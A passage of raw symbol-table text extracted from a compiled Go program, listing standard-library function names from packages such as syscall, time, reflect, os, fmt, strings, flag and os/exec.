}]).Storesyscall.setrlimitsyscall.ByteSliceFromStringsyscall.isGroupMemberslices.Contains[go.shape.[]int,go.shape.int]slices.Index[go.shape.[]int,go.shape.int]syscall.isCapDacOverrideSetsyscall.Faccessatsyscall.Geteuidsyscall.Getuidsyscall.Getegidsyscall.Getgidsyscall.Fchmodatsyscall.Pipe2syscall.Getwdsyscall.Getgroupssyscall.Wait4syscall.Errno.Errorsyscall.Errno.Issyscall.Signal.Stringsyscall.faccessatsyscall.errnoErrsyscall.faccessat2syscall.fchmodatsyscall.fchmodat2syscall.openatsyscall.pipe2syscall.readlinkatsyscall.unlinkatsyscall.utimensatsyscall.Getcwdsyscall.wait4syscall.Closesyscall.fcntlsyscall.Fsyncsyscall.Getdentssyscall.Killsyscall.Mkdiratsyscall.prlimit1syscall.readsyscall.Unamesyscall.writesyscall.readlensyscall.munmapsyscall.Fstatsyscall.fstatatsyscall.sendfilesyscall.Splicesyscall.getgroupssyscall.mmap2os.checkClonePidfdsyscall.RawSyscallsyscall.RawSyscall6syscall.Syscallsyscall.Syscall6syscall.mmapsyscall.rawVforkSyscallsyscall.rawSyscallNoErrorsyscall.socketcallsyscall.rawsocketcallsyscall.seeksyscall.(*Errno).Errorsyscall.(*Errno).Issyscall.(*Signal).Stringtime.appendInttime.appendInt.func1time.appendNanotime.digitsLentime.separatortime.Time.Stringtime.Time.GoStringtime.absSeconds.daystime.absSeconds.clocktime.Time.Nanosecondtime.(*Time).nsectime.Time.Locationtime.Time.Formattime.Time.AppendFormattime.Time.appendFormattime.Month.Stringtime.fmtInttime.absDays.weekdaytime.Weekday.Stringtime.quotetime.Time.appendFormatRFC3339time.syncTimertime.whentime.NewTimertime.sendTimetime.AfterFunctime.goFunctime.opentime.closefdtime.preadnsyscall.Seeksyscall.Readtime.(*Time).addSectime.(*Time).stripMonotime.(*Time).sectime.Time.Beforetime.Time.Equaltime.absDays.datetime.absDays.splittime.absCentury.yearmath/bits.Mul32time.absYday.splittime.absYday.janFebtime.absMonth.monthtime.absDays.yearYdaytime.absYday.ydaytime.absCentury.leaptime.Time.absSectime.(*Location).gettime.(*Time).unixSectime.Time.locabstime.Time.Datetime.Time.Clocktime.Duration.Stringtime.Duration.formattime.fmtFractime.Time.Addtime.Time.Subtime.subMonotime.Sincetime.Untiltime.(*Location).Stringtime.(*Location).lookuptime.(*Location).lookupFirstZonetime.(*Location).firstZoneUsedtime.tzsettime.tzsetNametime.tzsetOffsettime.tzsetNumtime.tzsetRuletime.tzruleTimetime.daysIntime.isLeaptime.daysBeforetime.fileSizeError.Errortime.(*dataIO).big8time.(*dataIO).big4time.(*dataIO).readtime.LoadLocationFromTZDatatime.(*dataIO).resttime.(*dataIO).bytetime.byteStringtime.findZonetime.loadTzinfoFromDirOrZiptime.loadTzinfoFromZiptime.get4time.get2time.loadTzinfoFromZip.deferwrap1time.loadTzinfotime.loadLocationruntime.GOROOTtime.gorootZoneSourcetime.readFiletime.readtime.readFile.deferwrap1time.initLocaltime.nextStdChunktime.startsWithLowerCasetime.isDigit[go.shape.string]time.stdFracSecondtime.Nowtime.inittime.(*Time).GoStringtime.(*Time).Stringtime.(*Duration).Stringtime.(*fileSizeError).Errortype:.eq.time.zonetype:.eq.time.zoneTranstype:.eq.time.Timercontext.initcontext.deadlineExceededError.Errorcontext.emptyCtx.Deadlinecontext.emptyCtx.Donecontext.emptyCtx.Errcontext.emptyCtx.Valuecontext.backgroundCtx.Stringcontext.WithCancelcontext.withCancelcontext.WithCancel.func1context.Causecontext.parentCancelCtxcontext.removeChildcontext.init.0context.(*cancelCtx).Valuecontext.(*cancelCtx).Donecontext.(*cancelCtx).Done.deferwrap1context.(*cancelCtx).Errcontext.(*cancelCtx).propagateCancelcontext.(*cancelCtx).propagateCancel.func2context.(*cancelCtx).propagateCancel.func1context.contextNamecontext.(*cancelCtx).Stringcontext.(*cancelCtx).cancelcontext.WithDeadlineCausecontext.WithDeadlineCause.func3context.WithDeadlineCause.func2context.WithDeadlineCause.deferwrap1context.WithDeadlineCause.func1context.(*timerCtx).Deadlinecontext.(*timerCtx).Stringcontext.(*timerCtx).canceltime.(*Timer).Stopcontext.WithTimeoutcontext.WithDeadlinecontext.valuetype:.eq.context.valueCtxcontext.(*deadlineExceededError).Errorcontext.(*emptyCtx).Deadlinecontext.(*emptyCtx).Donecontext.(*emptyCtx).Errcontext.(*emptyCtx).Valuecontext.backgroundCtx.Deadlinecontext.(*backgroundCtx).Deadlinecontext.backgroundCtx.Donecontext.(*backgroundCtx).Donecontext.backgroundCtx.Errcontext.(*backgroundCtx).Errcontext.(*backgroundCtx).Stringcontext.backgroundCtx.Valuecontext.(*backgroundCtx).Valuecontext.cancelCtx.Deadlinecontext.(*cancelCtx).Deadlinecontext.stopCtx.Deadlinecontext.(*stopCtx).Deadlinecontext.stopCtx.Donecontext.(*stopCtx).Donecontext.stopCtx.Errcontext.(*stopCtx).Errcontext.stopCtx.Valuecontext.(*stopCtx).Valuecontext.(*timerCtx).Donecontext.(*timerCtx).Errcontext.(*timerCtx).Valueunicode/utf8.decodeRuneSlowunicode/utf8.decodeRuneInStringSlowunicode/utf8.DecodeLastRuneunicode/utf8.RuneStartunicode/utf8.DecodeRuneunicode/utf8.DecodeLastRuneInStringunicode/utf8.DecodeRuneInStringunicode/utf8.encodeRuneNonASCIIunicode/utf8.appendRuneNonASCIIstrconv.ParseBoolinternal/strconv.ParseBoolstrconv.ParseIntstrconv.Atoistrconv.toErrorstrconv.syntaxErrorinternal/stringslite.Clonestrconv.rangeErrorstrconv.(*NumError).Errorstrconv.Quotestrconv.quoteWithstrconv.(*NumError).Unwrapstrconv.baseErrorstrconv.Itoastrconv.bitSizeErrorstrconv.appendQuotedWithstrconv.appendQuotedRuneWithunicode/utf8.ValidRunestrconv.appendEscapedRunestrconv.isInGraphicListstrconv.bsearch[go.shape.[]uint16,go.shape.uint16]unicode/utf8.AppendRunestrconv.CanBackquotestrconv.IsPrintstrconv.bsearch[go.shape.[]uint32,go.shape.uint32]type:.eq.strconv.NumErrorunicode.map.init.0unicode.map.init.1unicode.map.init.2unicode.IsSpaceunicode.is16unicode.is32unicode.isExcludingLatinunicode.tounicode.lookupCaseRangeunicode.convertCaseunicode.ToLowerunicode.Tounicode.SimpleFoldunicode.initreflect.initreflect.(*abiSeq).addArginternal/abi.(*Type).Alignreflect.(*abiSeq).stackAssignreflect.alignreflect.(*abiSeq).addRcvrreflect.(*abiSeq).regAssignreflect.(*abiSeq).assignFloatNreflect.(*abiSeq).assignIntNreflect.newAbiDescreflect.(*bitVector).appendreflect.(*abiSeq).stepsForValueinternal/abi.(*IntArgRegBitmap).Setreflect.intFromReginternal/abi.(*RegArgs).IntRegArgAddrreflect.intToRegreflect.deepValueEqualreflect.Value.IsValidreflect.Value.Typereflect.deepValueEqual.func1reflect.Value.Kindreflect.flag.kindreflect.Value.IsNilreflect.Value.Stringreflect.deepValueEqual.func2reflect.Value.pointerreflect.Value.Complexreflect.Value.Floatreflect.Value.Boolreflect.Value.Intreflect.Value.Uintreflect.Value.Lenreflect.Value.Bytesreflect.Value.MapRangereflect.DeepEqualreflect.ValueOfreflect.unpackEfacereflect.makeMethodValuereflect.methodValueCallCodePtrreflect.Value.MapIndexreflect.flag.mustBereflect.flag.roreflect.mapIterStartreflect.mapIterNextreflect.(*MapIter).Keyinternal/runtime/maps.(*Iter).Initializedinternal/runtime/maps.(*Iter).Keyreflect.(*MapIter).Valueinternal/runtime/maps.(*Iter).Elemreflect.(*MapIter).Nextreflect.flag.panicNotMapreflect.pkgPathreflect.Kind.Stringreflect.(*rtype).exportedMethodsreflect.(*rtype).uncommonreflect.elemreflect.stringForreflect.ChanDir.Stringreflect.(*structType).Fieldreflect.toTypeinternal/abi.(*StructField).Embeddedreflect.implementsinternal/abi.(*UncommonType).Methodsreflect.nameOffForreflect.(*rtype).nameOffreflect.(*interfaceType).nameOffreflect.typeOffForreflect.(*rtype).typeOffreflect.(*interfaceType).typeOffreflect.specialChannelAssignabilityinternal/abi.(*Type).ChanDirreflect.nameForreflect.directlyAssignablereflect.haveIdenticalTypereflect.pkgPathForreflect.haveIdenticalUnderlyingTypeinternal/abi.(*Type).Keyinternal/abi.(*FuncType).Ininternal/abi.(*FuncType).NumIninternal/abi.(*FuncType).Outreflect.funcLayoutreflect.newNamereflect.resolveReflectNamereflect.funcLayout.func1reflect.addTypeBitsreflect.packEfaceDatareflect.(*ValueError).Errorreflect.valueMethodNamereflect.Value.panicNotBoolreflect.Value.bytesSlowreflect.Value.CanAddrreflect.methodReceiverreflect.textOffForreflect.(*rtype).textOffreflect.callMethodreflect.storeRcvrreflect.addreflect.floatFromRegreflect.floatToRegreflect.Value.Elemreflect.packIfaceValueIntoEmptyIfacereflect.Value.Fieldreflect.Value.Indexreflect.arrayAtreflect.Value.lenNonSlicereflect.copyValreflect.Value.NumMethodreflect.Value.NumFieldreflect.Value.Pointerreflect.escapesreflect.Value.stringNonStringreflect.Value.typeSlowreflect.Value.abiTypeSlowreflect.Value.UnsafePointerreflect.Zeroreflect.Newreflect.ptrToreflect.Value.assignToreflect.(*rtype).Stringreflect.(*rtype).Kindreflect.(*rtype).NumMethodreflect.(*interfaceType).NumMethodreflect.(*rtype).PkgPathreflect.(*rtype).Namereflect.(*rtype).Elemreflect.(*rtype).commonreflect.(*rtype).Fieldreflect.(*rtype).Lenreflect.(*rtype).ptrToreflect.fnv1reflect.typesByStringreflect.rtypeOffreflect.valueInterfacereflect.packEfacereflect.methodValueCalltype:.eq.reflect.Methodreflect.(*Kind).Stringreflect.(*ChanDir).Stringreflect.(*Value).Kindreflect.(*Value).Lenreflect.(*Value).Stringreflect.(*ptrType).Lentype:.eq.reflect.ValueErrortype:.eq.reflect.makeFuncCtxttype:.eq.reflect.methodValuetype:.eq.reflect.visittype:.hash.reflect.visitinternal/fmtsort.Sortslices.SortStableFunc[go.shape.[]internal/fmtsort.KeyValue,go.shape.struct { Key reflect.Value; Value reflect.Value }]internal/fmtsort.comparecmp.Compare[go.shape.int64]cmp.Compare[go.shape.uint64]cmp.Compare[go.shape.float64]cmp.isNaN[go.shape.float64]cmp.Compare[go.shape.uintptr]cmp.Compare[go.shape.string]internal/fmtsort.nilCompareinternal/fmtsort.Sort.func1slices.stableCmpFunc[go.shape.struct { Key reflect.Value; Value reflect.Value }]slices.insertionSortCmpFunc[go.shape.struct { Key reflect.Value; Value reflect.Value }]slices.symMergeCmpFunc[go.shape.struct { Key reflect.Value; Value reflect.Value }]slices.rotateCmpFunc[go.shape.struct { Key reflect.Value; Value reflect.Value }]slices.swapRangeCmpFunc[go.shape.struct { Key reflect.Value; Value reflect.Value }]io.init.func1io.WriteStringio.ReadAtLeastio.copyBufferio.discard.Writeio.discard.WriteStringio.discard.ReadFromio.ReadAlltype:.eq.io.LimitedReaderio.(*discard).ReadFromio.(*discard).Writeio.(*discard).WriteStringio/fs.initio/fs.FormatDirEntryio/fs.FileMode.Stringio/fs.FileMode.IsDirio/fs.FileMode.Typeio/fs.(*PathError).Errorio/fs.(*PathError).Unwraptype:.eq.io/fs.PathErrorio/fs.(*FileMode).IsDirio/fs.(*FileMode).Stringio/fs.(*FileMode).Typeinternal/filepathlite.Cleaninternal/filepathlite.(*lazybuf).appendinternal/filepathlite.IsPathSeparatorinternal/filepathlite.(*lazybuf).stringinternal/filepathlite.(*lazybuf).indexinternal/filepathlite.Baseinternal/testlog.PanicOnExit0internal/testlog.PanicOnExit0.deferwrap1internal/testlog.Getenvinternal/testlog.Loggersync/atomic.(*Pointer[go.shape.interface { Chdir(string); Getenv(string); Open(string); Stat(string) }]).Loadinternal/testlog.Openinternal/testlog.Statinternal/syscall/unix.Unlinkatinternal/syscall/unix.Openatinternal/syscall/unix.Readlinkatinternal/syscall/unix.CopyFileRangeinternal/syscall/unix.Fcntlinternal/syscall/unix.KernelVersioninternal/syscall/unix.PidFDOpeninternal/syscall/unix.Waitidinternal/poll.initsync.OnceValue[go.shape.bool]internal/poll.init.OnceValue[go.shape.bool].func4internal/poll.init.OnceValue[go.shape.bool].func4.1internal/poll.init.OnceValue[go.shape.bool].func4.1.1internal/poll.init.func1internal/syscall/unix.KernelVersionGEinternal/poll.init.func3internal/poll.CopyFileRangeinternal/poll.handleCopyFileRangeErrinternal/poll.copyFileRangeinternal/poll.(*FD).writeLockinternal/poll.errClosinginternal/poll.(*FD).readLockinternal/poll.ignoringEINTR2[go.shape.int64]internal/poll.copyFileRange.func1internal/poll.copyFileRange.deferwrap2internal/poll.copyFileRange.deferwrap1internal/poll.errNetClosing.Errorinternal/poll.(*DeadlineExceededError).Errorinternal/poll.(*FD).Fsyncinternal/poll.(*FD).increfinternal/poll.ignoringEINTRinternal/poll.(*FD).Fsync.func1internal/poll.(*FD).Fsync.deferwrap1internal/poll.(*fdMutex).increfinternal/poll.(*fdMutex).increfAndCloseinternal/poll.(*fdMutex).decrefinternal/poll.(*fdMutex).rwlockinternal/poll.(*fdMutex).rwunlockinternal/poll.(*FD).decrefinternal/poll.(*FD).readUnlockinternal/poll.(*FD).writeUnlockinternal/poll.(*pollDesc).initinternal/poll.errnoErrinternal/poll.(*pollDesc).prepareinternal/poll.convertErrinternal/poll.(*pollDesc).waitinternal/poll.(*FD).Initinternal/poll.(*FD).destroyinternal/poll.(*pollDesc).closeinternal/poll.(*SysFile).destroyinternal/poll.(*FD).Closeinternal/poll.(*pollDesc).evictinternal/poll.(*FD).SetBlockinginternal/poll.(*FD).SetBlocking.deferwrap1internal/poll.(*FD).Readinternal/poll.(*pollDesc).prepareReadinternal/poll.ignoringEINTRIOinternal/poll.(*pollDesc).pollableinternal/poll.(*pollDesc).waitReadinternal/poll.(*FD).eofErrorinternal/poll.(*FD).Read.deferwrap1internal/poll.(*FD).Writeinternal/poll.(*pollDesc).prepareWriteinternal/poll.(*pollDesc).waitWriteinternal/poll.(*FD).Write.deferwrap1internal/poll.(*FD).Fstatinternal/poll.(*FD).Fstat.func1internal/poll.(*FD).Fstat.deferwrap1internal/poll.(*FD).RawReadinternal/poll.(*FD).RawRead.deferwrap1internal/poll.(*FD).ReadDirentsyscall.ReadDirentinternal/poll.(*FD).ReadDirent.deferwrap1internal/poll.SendFileinternal/poll.sendFileinternal/poll.sendFile.deferwrap1internal/poll.sendFile.func1internal/poll.sendFileChunksyscall.Sendfileinternal/poll.Spliceinternal/poll.getPipeinternal/poll.Splice.deferwrap1internal/poll.spliceDraininternal/poll.spliceinternal/poll.spliceDrain.deferwrap1internal/poll.splicePumpinternal/poll.splicePump.deferwrap1internal/poll.newPoolPipeinternal/poll.putPipeinternal/poll.newPipeinternal/poll.destroyPipeinternal/poll.newPoolPipe.func1runtime.AddCleanup[go.shape.struct { internal/poll.splicePipeFields; internal/poll.cleanup runtime.Cleanup },go.shape.struct { internal/poll.rfd int; internal/poll.wfd int; internal/poll.data int }]internal/abi.Escape[go.shape.*uint8]internal/abi.Escape[go.shape.func(go.shape.struct { internal/poll.rfd int; internal/poll.wfd int; internal/poll.data int })]internal/abi.TypeFor[go.shape.struct { internal/poll.splicePipeFields; internal/poll.cleanup runtime.Cleanup }]runtime.AddCleanup[go.shape.struct { internal/poll.splicePipeFields; internal/poll.cleanup runtime.Cleanup },go.shape.struct { internal/poll.rfd int; internal/poll.wfd int; internal/poll.data int }].func1runtime.callCleanup[go.shape.struct { internal/poll.rfd int; internal/poll.wfd int; internal/poll.data int }]internal/poll.(*errNetClosing).Errortype:.eq.internal/poll.FDos.initos.NewFilesync.OnceValue[go.shape.interface { Error() string }]os.init.OnceValue[go.shape.interface { Error() string }].func2os.init.OnceValue[go.shape.interface { Error() string }].func2.1os.init.OnceValue[go.shape.interface { Error() string }].func2.1.1os.init.func1os.(*File).Readdirnamesos.(*File).readdirsync/atomic.(*Pointer[go.shape.struct { os.mu sync.Mutex; os.buf *[]uint8; os.nbuf int; os.bufp int }]).Loadsync/atomic.(*Pointer[go.shape.struct { os.mu sync.Mutex; os.buf *[]uint8; os.nbuf int; os.bufp int }]).CompareAndSwapos.direntReclenos.readIntos.readIntLEinternal/byteorder.LEUint16os.direntTypeos.direntInoos.IsNotExistos.(*File).readdir.deferwrap1os.direntNamlenos.Getenvos.(*SyscallError).Erroros.(*SyscallError).Unwrapos.underlyingErrorIsos.underlyingErroros.(*processHandle).acquiresync/atomic.(*Int32).CompareAndSwapos.(*processHandle).releaseos.(*processHandle).closeHandleos.newHandleProcesssync/atomic.(*Int32).Storeos.(*Process).handleTransientAcquireos.(*Process).handleTransientReleaseos.StartProcessos.(*Process).doReleasesync/atomic.(*Uint32).CompareAndSwapos.startProcessinternal/syscall/execenv.Defaultsyscall.StartProcessos.newPIDProcessos.(*ProcessState).Stringos.(*ProcessState).Sysos.(*ProcessState).syssyscall.WaitStatus.Exitedsyscall.WaitStatus.Signaledsyscall.WaitStatus.Stoppedsyscall.WaitStatus.Continuedsyscall.WaitStatus.StopSignalsyscall.WaitStatus.TrapCausesyscall.WaitStatus.CoreDumpsyscall.WaitStatus.ExitStatusos.(*Process).waitos.(*Process).pidWaitos.(*Process).pidStatusos.ignoringEINTR2[go.shape.int]os.(*Process).pidWait.func1os.NewSyscallErroros.(*Process).signalos.(*Process).pidSignalos.convertESRCHos.(*Process).pidSignal.deferwrap1os.executableos.Readlinkinternal/stringslite.TrimSuffixos.(*File).Nameos.(*File).Reados.(*File).checkValidos.(*File).reados.(*File).ReadFromos.noReadFrom.ReadFromos.genericReadFromio.Copyos.(*File).Writeos.(*File).writeos.epipecheckos.(*File).WriteToos.noWriteTo.WriteToos.genericWriteToos.(*File).WriteStringos.OpenFileos.(*File).wrapErros.UserHomeDiros.Chmodos.chmodos.ignoringEINTRos.Chmod.chmod.func1os.syscallModeio/fs.FileMode.Permsyscall.Chmodos.(*File).SyscallConnos.newRawConnos.(*File).Fdos.(*File).fdos.ReadFileos.Openos.ReadFile.deferwrap1os.(*File).Closeos.statOrZeroos.readFileContentsslices.Grow[go.shape.[]uint8,go.shape.uint8]os.WriteFileos.openos.(*File).Syncos.Chtimessyscall.UtimesNanoos.chtimesUtimesos.chtimesUtimes.func1time.Time.IsZerotime.Time.UnixNanosyscall.NsecToTimespecos.newFileFromNewFileinternal/syscall/unix.HasNonblockFlagos.newFileos.openFileNologos.openFileNolog.func1os.openDirNologos.openDirNolog.func1os.(*file).closesync/atomic.(*Pointer[go.shape.struct { os.mu sync.Mutex; os.buf *[]uint8; os.nbuf int; os.bufp int }]).Swapos.(*dirInfo).closeos.Removeos.Remove.func1syscall.Unlinkos.Remove.func2syscall.Rmdiros.readlinkos.readlink.func1syscall.Readlinkos.fixCountos.(*unixDirent).Nameos.(*unixDirent).IsDiros.(*unixDirent).Typeos.(*unixDirent).Stringos.newUnixDirentos.Getwdos.SameFileos.sameFileos.ignoringEINTR2[go.shape.string]os.RemoveAllos.splitPathos.ensurePidfdos.pidfdWorksos.getPidfdos.(*Process).pidfdWaitos.(*Process).pidfdWait.func1internal/syscall/unix.(*SiginfoChild).WaitStatusos.(*Process).pidfdWait.deferwrap1os.(*Process).pidfdSendSignalinternal/syscall/unix.PidFDSendSignalos.(*Process).pidfdSendSignal.deferwrap1os.checkPidfdsyscall.Getpidos.checkPidfd.func1os.checkPidfd.deferwrap1os.Pipeos.init.0os.Exitos.(*rawConn).Reados.removeAllos.endsWithDotos.removeAll.deferwrap1os.removeAllFromos.removefileatos.removeAllFrom.removefileat.func1os.isErrNoFollowos.removediratos.removeAllFrom.removedirat.func2os.openDirAtos.rootOpenDiros.openDirAt.rootOpenDir.func1os.isNoFollowErros.newDirFileos.checkSymlinkos.errSymlink.Erroros.readlinkatos.readlinkat.func1os.Statos.Lstatos.fillFileStatFromSyssyscall.(*Timespec).Unixtime.Unixtime.unixTimeos.(*File).Statos.statNologos.statNolog.func1syscall.Statos.lstatNologos.lstatNolog.func1syscall.Lstatos.hostnameos.hostname.deferwrap1os.nextRandomos.prefixAndSuffixinternal/bytealg.LastIndexByteStringos.MkdirTempos.TempDiros.tempDiros.joinPathos.Mkdiros.MkdirTemp.Mkdir.func1syscall.Mkdiros.IsExistos.(*fileStat).Nameos.(*fileStat).IsDiros.(*fileStat).Modeos.(*fileStat).Sizeos.(*Process).blockUntilWaitableos.(*Process).blockUntilWaitable.func1os.(*File).writeToos.isUnixOrTCPos.wrapSyscallErroros.(*File).writeTo.func1os.(*File).readFromos.(*File).spliceToFileos.tryLimitedReaderos.(*File).copyFileRangeos.getPollFDAndNetworktype:.eq.os.fileStattype:.eq.os.LinkErrortype:.eq.os.filetype:.eq.sync/atomic.Pointer[os.dirInfo]type:.eq.os.dirInfotype:.eq.os.unixDirentruntime.AddCleanup[go.shape.struct { Pid int; os.state sync/atomic.Uint32; os.sigMu sync.RWMutex; os.handle *os.processHandle; os.cleanup runtime.Cleanup },go.shape.*uint8]internal/abi.Escape[go.shape.func(go.shape.*uint8)]internal/abi.TypeFor[go.shape.struct { Pid int; os.state sync/atomic.Uint32; os.sigMu sync.RWMutex; os.handle *os.processHandle; os.cleanup runtime.Cleanup }]runtime.AddCleanup[go.shape.struct { Pid int; os.state sync/atomic.Uint32; os.sigMu sync.RWMutex; os.handle *os.processHandle; os.cleanup runtime.Cleanup },go.shape.*uint8].func1runtime.callCleanup[go.shape.*uint8]type:.eq.os.SyscallErroros.(*noReadFrom).ReadFromos.fileWithoutReadFrom.Closeos.(*fileWithoutReadFrom).Closeos.fileWithoutReadFrom.Nameos.(*fileWithoutReadFrom).Nameos.fileWithoutReadFrom.Reados.(*fileWithoutReadFrom).Reados.fileWithoutReadFrom.SyscallConnos.(*fileWithoutReadFrom).SyscallConnos.fileWithoutReadFrom.Writeos.(*fileWithoutReadFrom).Writeos.fileWithoutReadFrom.WriteStringos.(*fileWithoutReadFrom).WriteStringos.fileWithoutReadFrom.WriteToos.(*fileWithoutReadFrom).WriteToos.(*noWriteTo).WriteToos.fileWithoutWriteTo.Closeos.(*fileWithoutWriteTo).Closeos.fileWithoutWriteTo.Nameos.(*fileWithoutWriteTo).Nameos.fileWithoutWriteTo.Reados.(*fileWithoutWriteTo).Reados.fileWithoutWriteTo.ReadFromos.(*fileWithoutWriteTo).ReadFromos.fileWithoutWriteTo.SyscallConnos.(*fileWithoutWriteTo).SyscallConnos.fileWithoutWriteTo.Writeos.(*fileWithoutWriteTo).Writeos.fileWithoutWriteTo.WriteStringos.(*fileWithoutWriteTo).WriteStringos.(*errSymlink).Erroros.(*File).Read-fmtype:.eq.os.processHandletype:.eq.os.Processfmt.init.func1fmt.errorffmt.(*wrapError).Errorfmt.(*wrapError).Unwrapfmt.(*wrapErrors).Errorfmt.(*wrapErrors).Unwrapfmt.(*fmt).writePaddingfmt.(*fmt).padunicode/utf8.RuneCountfmt.(*buffer).writeunicode/utf8.RuneCountInStringfmt.(*fmt).padStringfmt.(*buffer).writeStringfmt.(*fmt).fmtBooleanfmt.(*fmt).fmtUnicodeunicode/utf8.RuneLenunicode/utf8.EncodeRunefmt.(*fmt).fmtIntegerfmt.(*fmt).truncatefmt.(*fmt).fmtSfmt.(*fmt).truncateStringfmt.(*fmt).fmtBsfmt.(*fmt).fmtSbxfmt.(*fmt).fmtQstrconv.AppendQuoteToASCIIstrconv.AppendQuotefmt.(*fmt).fmtCfmt.(*fmt).fmtQcstrconv.AppendQuoteRuneToASCIIstrconv.AppendQuoteRunefmt.(*fmt).fmtFloatstrconv.AppendFloatfmt.(*buffer).writeBytefmt.newPrinterfmt.(*fmt).initfmt.(*fmt).clearflagsfmt.(*pp).freefmt.(*pp).Writefmt.(*pp).WriteStringfmt.Fprintffmt.Sprintffmt.Appendffmt.Fprintfmt.Fprintlnfmt.Appendlnfmt.getFieldfmt.(*pp).unknownTypefmt.(*pp).badVerbfmt.(*buffer).writeRunereflect.TypeOffmt.(*pp).fmtBoolfmt.(*pp).fmt0x64fmt.(*pp).fmtIntegerfmt.(*pp).fmtFloatfmt.(*pp).fmtComplexfmt.(*pp).fmtStringfmt.(*fmt).fmtSxfmt.(*pp).fmtBytesfmt.(*fmt).fmtBxfmt.(*pp).fmtPointerfmt.(*pp).catchPanicfmt.(*pp).handleMethodsfmt.(*pp).handleMethods.deferwrap4fmt.(*pp).handleMethods.deferwrap3fmt.(*pp).handleMethods.deferwrap2fmt.(*pp).handleMethods.deferwrap1fmt.(*pp).printArgreflect.Value.CanInterfacereflect.Value.Interfacefmt.(*pp).printValuefmt.intFromArgfmt.tooLargefmt.parseArgNumberfmt.parsenumfmt.(*pp).argNumberfmt.(*pp).badArgNumfmt.(*pp).missingArgfmt.(*pp).doPrintffmt.(*pp).doPrintfmt.(*pp).doPrintlntype:.eq.fmt.wrapErrorslices.Sort[go.shape.[]int,go.shape.int]math/bits.Lenmath/bits.Len32slices.pdqsortOrdered[go.shape.int]slices.reverseRangeOrdered[go.shape.int]cmp.Less[go.shape.int]slices.partitionOrdered[go.shape.int]slices.partitionEqualOrdered[go.shape.int]slices.partialInsertionSortOrdered[go.shape.int]slices.choosePivotOrdered[go.shape.int]slices.medianAdjacentOrdered[go.shape.int]slices.medianOrdered[go.shape.int]slices.order2Ordered[go.shape.int]slices.breakPatternsOrdered[go.shape.int]slices.nextPowerOfTwoslices.(*xorshift).Nextslices.heapSortOrdered[go.shape.int]slices.siftDownOrdered[go.shape.int]slices.insertionSortOrdered[go.shape.int]type:.eq.fmt.fmtstrings.(*Builder).Stringstrings.(*Builder).Lenstrings.(*Builder).growstrings.(*Builder).Growstrings.(*Builder).copyCheckstrings.(*Builder).Writestrings.(*Builder).WriteRunestrings.(*Builder).WriteStringstrings.(*Reader).Lenstrings.(*Reader).Sizestrings.(*Reader).Readstrings.(*Reader).ReadBytestrings.(*Reader).ReadRunestrings.(*Reader).WriteTostrings.explodestrings.Countinternal/bytealg.CountStringstrings.Indexstrings.IndexRunestrings.IndexBytestrings.genSplitstrings.SplitNstrings.Fieldsstrings.FieldsFuncstrings.Joinstrings.Mapstrings.(*Builder).Capstrings.(*Builder).WriteBytestrings.Repeatmath/bits.Mulstrings.HasPrefixstrings.ToLowerstrings.TrimRightFuncstrings.TrimFuncstrings.TrimLeftFuncstrings.indexFuncstrings.lastIndexFuncstrings.TrimSpacestrings.Replacestrings.Cuttype:.eq.strings.Readerflag.init.func1flag.(*FlagSet).Outputflag.PrintDefaultsflag.(*boolValue).Setflag.(*boolValue).Stringstrconv.FormatBoolinternal/strconv.FormatBoolflag.(*boolValue).IsBoolFlagflag.(*stringValue).Setflag.(*stringValue).Stringflag.sortFlagsflag.(*FlagSet).VisitAllflag.isZeroValueflag.isZeroValue.func1fmt.Errorfflag.UnquoteUsageflag.(*FlagSet).PrintDefaultsflag.(*FlagSet).PrintDefaults.func1strings.ReplaceAllflag.(*FlagSet).defaultUsageflag.(*FlagSet).Varstrings.Containsflag.(*FlagSet).sprintfflag.(*FlagSet).failfflag.(*FlagSet).usageflag.(*FlagSet).parseOneflag.(*FlagSet).Parseflag.init.0flag.NewFlagSetflag.commandLineUsageflag.sortFlags.func1strings.Compareinternal/bytealg.CompareStringslices.SortFunc[go.shape.[]*flag.Flag,go.shape.*uint8]slices.pdqsortCmpFunc[go.shape.*uint8]slices.reverseRangeCmpFunc[go.shape.*uint8]slices.insertionSortCmpFunc[go.shape.*uint8]slices.partitionCmpFunc[go.shape.*uint8]slices.partitionEqualCmpFunc[go.shape.*uint8]slices.partialInsertionSortCmpFunc[go.shape.*uint8]slices.choosePivotCmpFunc[go.shape.*uint8]slices.medianAdjacentCmpFunc[go.shape.*uint8]slices.medianCmpFunc[go.shape.*uint8]slices.order2CmpFunc[go.shape.*uint8]slices.breakPatternsCmpFunc[go.shape.*uint8]slices.heapSortCmpFunc[go.shape.*uint8]slices.siftDownCmpFunc[go.shape.*uint8]flag.(*FlagSet).defaultUsage-fmtype:.eq.flag.Flagbytes.(*Buffer).Stringbytes.(*Buffer).Lenbytes.(*Buffer).growbytes.(*Buffer).Resetbytes.(*Buffer).tryGrowByReslicebytes.(*Buffer).Writebytes.(*Buffer).WriteStringbytes.(*Buffer).ReadFrombytes.growSlicebytes.(*Buffer).WriteTobytes.(*Buffer).Readbytes.(*Buffer).emptybytes.(*Buffer).ReadBytebytes.(*Buffer).ReadRunebytes.Countbytes.Containsbytes.TrimRightFuncbytes.TrimFuncbytes.TrimLeftFuncbytes.indexFuncbytes.lastIndexFuncbytes.TrimSpacebytes.Indexbytes.IndexBytebytes.Equalbytes.(*Reader).Lenbytes.(*Reader).Sizebytes.(*Reader).Readbytes.(*Reader).ReadBytebytes.(*Reader).ReadRunebytes.(*Reader).WriteTobytes.growSlice.func1internal/bytealg.IndexRabinKarp[go.shape.[]uint8]internal/bytealg.HashStr[go.shape.[]uint8]path/filepath.initpath/filepath.Abspath/filepath.abspath/filepath.unixAbspath/filepath.IsAbsinternal/filepathlite.IsAbspath/filepath.Joinpath/filepath.Cleanpath/filepath.joinos/exec.(*Error).Erroros/exec.(*Error).Unwrapos/exec.wrappedError.Erroros/exec.wrappedError.Unwrapos/exec.Commandpath/filepath.Baseos/exec.LookPathos/exec.CommandContextos/exec.CommandContext.func1os.(*Process).Killos.(*Process).killos.(*Process).Signalos/exec.(*Cmd).Stringos/exec.interfaceEqualos/exec.(*Cmd).childStdinos/exec.(*Cmd).childStdin.func1os/exec.skipStdinCopyErroros/exec.(*Cmd).childStderros/exec.(*Cmd).writerDescriptoros/exec.(*Cmd).writerDescriptor.func1os/exec.(*Cmd).Runos/exec.(*Cmd).Startos/exec.(*Cmd).childStdoutos/exec.(*Cmd).argvos/exec.(*Cmd).Start.gowrap2os/exec.(*Cmd).Start.gowrap1os/exec.(*Cmd).Start.func2os/exec.(*Cmd).Start.func1os/exec.closeDescriptorsos/exec.(*